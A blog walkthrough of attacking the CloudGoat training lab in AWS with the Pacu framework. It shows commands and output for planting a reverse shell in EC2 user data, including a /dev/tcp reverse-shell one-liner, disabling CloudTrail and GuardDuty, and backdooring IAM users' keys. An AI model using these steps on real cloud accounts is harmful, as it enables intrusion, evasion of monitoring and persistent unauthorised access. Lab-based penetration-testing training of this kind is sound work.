Playing with CloudGoat part 5: hacking AWS with Pacu

This is the final part of the “Playing with CloudGoat” series. In this post I’m going to introduce you the AWS exploitation framework — Pacu. Through parts 1, 2, 3 and 4 I was hacking CloudGoat using AWS CLI and some external tools. Today I’ll go through some of the CloudGoat scenarios, but this time using Pacu. I’ll show you how hacking AWS services can be done quicker and easier.

Few words about the Pacu

“Pacu is an open source AWS exploitation framework, designed for offensive security testing against cloud environments. Created and maintained by Rhino Security Labs, Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.”

Pacu is quite well documented. So instead of copy/paste it here, just visit its wiki where you can find detailed explanations and even video tutorials. Enough theory… let’s see how it works in practice!

Launching Pacu

This is actually very handy feature, especially for pentesters. Just imagine when you’re dealing with several separated projects. Handling different keys, different enumerations and different findings can be quite challenging. But with Pacu’s sessions you can store data from each project in a separated session and later easily get back to it.

When it’s your first run of Pacu, then a help command is your biggest friend. Typing a help will list all available commands and typing help [module name] will display a help for the module (what is it for, how to use it and what are available options).

Let’s get hands dirty!

From the AWS CLI you have to always remember about adding a proper profile name at the end of each command, right? But when you’re using Pacu you can forget about it and simply use a command swap_keys and choose in terms of which user you want to work.

Similarly to Metasploit, Pacu uses modules. To list them all in a sorted way, based on its purpose, just type ls command.

So what is the first step once you gain access keys? Certainly, enumerating permissions and determining what you’re allowed to do, would be helpful in further penetration. If your user have IAM privileges to list and get attached to user policies, then you can enumerate your permissions using the following command:

> run iam__enum_permissions
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions] bob...
[iam__enum_permissions] Confirmed Permissions for bob
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:Confirmed permissions for user: bob.
Confirmed permissions for 0 role(s).

Typing a command whoami displays Bob’s permissions. If you want to enumerate permissions for all users, then simply run the command run iam__enum_permission --all-users and you’ll find a separate JSON file for each user in the folder ./sessions/[your session name]/downloads/confirmed_permissions/.

Going back to the scenario from the first part of this series, let’s make a reconnaissance regarding EC2 service:

> run ec2__enum
Running module ec2__enum...
[ec2__enum] Starting region us-west-2...
[ec2__enum] 2 instance(s) found.
[ec2__enum] 15 security groups(s) found.
[ec2__enum] FAILURE:
[ec2__enum] Access denied to DescribeAddresses.
[ec2__enum] Skipping elastic IP enumeration...
[ec2__enum] 0 elastic IP address(es) found.
[ec2__enum] FAILURE:
[ec2__enum] Access denied to DescribeCustomerGateways.
[ec2__enum] Skipping VPN customer gateway enumeration...
[ec2__enum] 0 VPN customer gateway(s) found.
[intentionally removed output]
[ec2__enum] MODULE SUMMARY:
2 total instance(s) found.
15 total security group(s) found.
4 total subnets(s) found.
1 total VPC(s) found.

But wait… where’s enumerated data?! In order to have constant access to retrieved data without a need to scroll your terminal window or saving the output in the external files, this information is hidden behind data EC2 command. Once you’ve performed multiple enumerations it’s easy to get lost, being flooded with the output. However, in Pacu you can manage it in much easier way: simply run command services and the tool will display all services which are already enumerated. Want to see this data? Then type the following command: data <name of the service> (note that the service name is case sensitive!), for example:

Pacu (Hack_the_CloudGoat:Bob) > services
Pacu (Hack_the_CloudGoat:Bob) > data EC2
"Instances": [
"AmiLaunchIndex": 0,
"Architecture": "x86_64",
"BlockDeviceMappings": [
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "Tue, 26 Feb 2019 19:56:48",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-065d9d7aad68e0177"


  1. stop the instance
  2. update its UserData with reverse shell
  3. start a local listener to catch a reverse shell
  4. start the instance
  5. profit!

But in Pacu you can do all those steps in just one command, in my case it is:

> run ec2__startup_shell_script --script --instance-ids i-041f94160e4f1e316@us-west-2
Running module ec2__startup_shell_script...
[ec2__startup_shell_script] Stopping i-041f94160e4f1e316
[ec2__startup_shell_script] Setting User Data for i-041f94160e4f1e316
[ec2__startup_shell_script] Starting i-041f94160e4f1e316
[ec2__startup_shell_script] ec2__startup_shell_script completed.
[ec2__startup_shell_script] MODULE SUMMARY:1 Instance(s) Modified

where contains a reverse shell:

bash -i >& /dev/tcp/[my_ip]/[my_port] 0>&1

In theory it should be even easier and you should be able to start a local listener in Pacu using the command proxy start [local ip] [local port] which should allow you to manage this shell from Pacu’ console as well as pivot commands through the newly compromised machine. Yes “in theory”, because at the moment of writing this post something didn’t work as it should and I was unable to use it. But for sure it’ll be soon fixed so stay aware of this great feature!

Staying under the hood

> data CloudTrail
"Trails": [
"HasCustomEventSelectors": false,
"HomeRegion": "us-west-2",
"IncludeGlobalServiceEvents": true,
"IsMultiRegionTrail": false,
"LogFileValidationEnabled": true,
"Name": "cloudgoat_trail",
"Region": "us-west-2",
"S3BucketName": "16242183631729158332334886424132196042474324643131628372",
"S3KeyPrefix": "cloudtrail",
"TrailARN": "arn:aws:cloudtrail:us-west-2:XXXXXXXXXXXX:trail/cloudgoat_trail"

Then, using a detection__disruption module you can disable or delete all those monitoring services. Here’s an example how to disable a CloudTrail and GuardDuty service:

> run detection__disruption --trails cloudgoat_trail@us-west-2 --detectors 7ab496d17a483855b592b38e15689568@us-west-2
Running module detection__disruption...
[detection__disruption] Starting GuardDuty...
[detection__disruption] Starting region us-west-2...
[detection__disruption] GuardDuty detector ID: 7ab496d17a483855b592b38e15689568
Do you want to disable (dis), delete (del), or skip (s) it? (dis/del/s) dis
[detection__disruption] Successfully disabled detector 7ab496d17a483855b592b38e15689568!
[detection__disruption] GuardDuty finished.
[detection__disruption] Starting CloudTrail...
[detection__disruption] Starting region us-west-2...
[detection__disruption] CloudTrail trail name: cloudgoat_trail
Do you want to disable (dis), delete (del), minimize (m), or skip (s) it? (dis/del/m/s) dis
[detection__disruption] Successfully disabled trail cloudgoat_trail!
[detection__disruption] CloudTrail finished.
[detection__disruption] No rules found. Skipping Config rules...
[detection__disruption] No recorders found. Skipping Config recorders...
[detection__disruption] No aggregators found. Skipping Config aggregators...
[detection__disruption] No alarms found. Skipping CloudWatch...
[detection__disruption] No flow logs found. Skipping VPC...
[detection__disruption] detection__disruption completed.
[detection__disruption] MODULE SUMMARY:
1 detector(s) disabled.
0 detector(s) deleted.
1 trail(s) disabled.
0 trail(s) deleted.
0 trail(s) minimized.

Please take a note, that regarding CloudTrail services you can also minimize a trail, what means you leave the service enabled but with a disabled few options, such as: global service event logging, multi-regional log collection, log file validation and log file encryption.

Persist access

> run iam__backdoor_users_keys --usernames bob,joe,administrator
Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys] bob
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] joe
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] administrator
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.
[iam__backdoor_users_keys] MODULE SUMMARY:
3 user key(s) successfully backdoored.




Interested in pentesting and cloud security | OSCP | eMAPT | AWS SAA | AWS CSS

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Pawel Rzepa

Interested in pentesting and cloud security | OSCP | eMAPT | AWS SAA | AWS CSS